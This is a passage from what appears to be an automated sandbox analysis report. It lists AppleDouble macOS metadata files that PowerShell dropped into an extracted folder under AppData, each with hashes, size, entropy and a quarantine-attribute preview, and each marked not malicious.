SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._id.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._lt.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._lv.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._x64

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.287775950962475
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwD2ygnL:PgGA/iwKwviBn/6/Es3CiDKwSyg2cUu
MD5:	57A74FB7C4F656E8CEBF649470F2B681
SHA1:	7EAEDABBA18BF764384B83CFFB2620D2223B89BA
SHA-256:	782073AE02FEBD02041F9C9A0216729E76980C19B4CF967043F60E86F0947698
SHA-512:	0FD935204632900BBE0B95DAA287B1EED716D293EA866084E49429C59B56474C242BD73CC627B154F6A35A128ACC05405ACEFD047B2FEFA2D72E79EBF8FF6F5A
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;6D7C99CD-876B-4230-B6A5-793A213D291D.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._x86

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.313376665536565
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwOyROQq:PgGA/iwKwviBn/6/Es3CiDKwOCO98Ji
MD5:	2EA01CAF50F8695DF29E2D89E91E191D
SHA1:	FE48F3FF85AE53E0C4A70A2825D61519B3138BAD
SHA-256:	5D97A68AC0D5C88CC12B4C29059E0A1953DC0B305DD5E53DBE26AAF6B7DDE297
SHA-512:	92FB0D0CDEF173BE43EC2A3ADA93E3D0F431233963473D927401C1E20A11AB6D0903ABC5F2BAFF789D5639C093A484A09F7F59A2B1D3B753084FE5C2E030C6FA
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;ED5B4B2D-5938-46C8-8596-B3C34C7D5533.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x64\._AdonisUI.ClassicTheme.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x64\._AdonisUI.ClassicTheme.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x64\._AdonisUI.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x64\._AdonisUI.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x64\._SQLite.Interop.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x86\._BouncyCastle.Crypto.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x86\._BouncyCastle.Crypto.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\x86\._SQLite.Interop.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\SaslPrep\._SaslPrepProfile_norm_bidi.spp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\._Unicode

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.337736850945167
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwEgGc5U:PgGA/iwKwviBn/6/Es3CiDKwE5Id+mml
MD5:	98E41650E9ED759AE3FFCF2E7EAEE8FB
SHA1:	12343BAA46E98818F30E9A8B219ADDFC14A06AD1
SHA-256:	6D8983365E69080B18978A142AD24FA68958831E106D5240C9C96BA49324E8AD
SHA-512:	96B47470451CAF398E686FAA44C1431397484B15BF41E94B161EB5409B05B6F029E778D7F02D38DC473D338740F07B5B8AF1E039E804118ECCFD574AD87B50C6
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;F3ED9899-DFF6-4EAB-86B8-56B43418370C.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\._ICU

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.322136312825607
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwzcgbi3:PgGA/iwKwviBn/6/Es3CiDKwzRbSrcw
MD5:	806A47091AAAB7AED1B6152840733B60
SHA1:	35A83BC1938ED22307A2133638D952CA3F684B76
SHA-256:	83AEB48CC0C12A6DD314B9B0AAC4BE34805B96B5FAD42328BA7577816AFB29FA
SHA-512:	A0E63616378ED3F4C5C3F5771F42D67413BAE6A5F771A1FAD92E08B9947FABFFC2D4BFB70315689A66FD8E34D7AD07B72A83E1266458B5470D001EE242E5DD4B
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;7366245E-E19D-442F-9888-2BDCF0EDAB55.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\._Mappings

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.2788089277487975
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKweA2Rq6:PgGA/iwKwviBn/6/Es3CiDKweaEAi
MD5:	E7D19BC099AFE648D6277BE1380BA2E0
SHA1:	FEC45ECDCC6EB33F2C468C1FC3D20A64D87CFA47
SHA-256:	0CEFE7B4438CF11B5054325FEC9AEB8F1C9967B25AAE2A880676405F3C764175
SHA-512:	87801543B55C66495C63C97B1E71106C44242E64860DF0D1D9F6AF0A2287EA4E3DFE9B633397400C87D630059D15A708A5DD73B0774CA9022EC9CCDC75E1896C
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;B5C0F637-46CA-4B7E-821E-C42C48526C03.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\ICU\._icudt26l.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\._Adobe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.284432624964724
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKw0rIdp9:PgGA/iwKwviBn/6/Es3CiDKwL3Tjl
MD5:	693EECF9AED2A4BFC2599EF9BC75885A
SHA1:	6BE362F3504530CF950158C3E1AB129B6391FA19
SHA-256:	2EB0F9EA17A47295D408C6E9423A593D3FEAD02B6B2C5478437171B81B43150F
SHA-512:	3880D797C074BD18F0E5551B51F3E7CF4BC5C449561509F66BA65576F777F4F9F6ABEA29A39226733C8317C690E061FF5CC8404E6CB3B8AD33479608D8480685
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;03406248-58E3-4147-95A3-759E1F0EB1AF.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\._Mac

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.327879277158326
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwKmMLQM:PgGA/iwKwviBn/6/Es3CiDKw9MEInwS
MD5:	8BB907D1348DA3BDCC253C915C25FF41
SHA1:	C56BB8CA77279CA81AB53B51E98AF17C3AEA9F40
SHA-256:	DE80D8D821435750367D658AEE3DB09FDE9166DF5B8005600DD8F36C58A478E8
SHA-512:	44BF1DEB00782C5CD83C95CEED6B3B9E26D4391A59C1D317CF38AE7CD24A71EEF399959D1283B7B0E16998454AB3DCC705CD8F4FCF4623CBD96EE76AD3B2641A
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;773C9EE2-DAD3-4D56-8BB5-B8F8F259364A.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\._win

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.31041018940129
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKw9Ed02C:PgGA/iwKwviBn/6/Es3CiDKwy0W30
MD5:	47B3A5C78AC4004762D37337E968700F
SHA1:	B49AB1CC19BEA50BBFD0FD88D174451D96C5AC00
SHA-256:	AA49E138497409213AEAF777EACA08D18D0694891D49CBB5ADA66835798984B1
SHA-512:	073BDD0EE6324DEDDDB111673F57D218AAD0CB93FE89D7D44BB9A1C33C8FBA3A5A88EC1CEDC8B4BABFA3271A2311BC5925CC13984EA86B06D679748D0516C79C
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;ACD785D0-53C9-4B2E-87BA-F389F784AF1D.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Adobe\._symbol.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Adobe\._zdingbat.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._CENTEURO.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._CORPCHAR.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\._CROATIAN.TXT

Download File

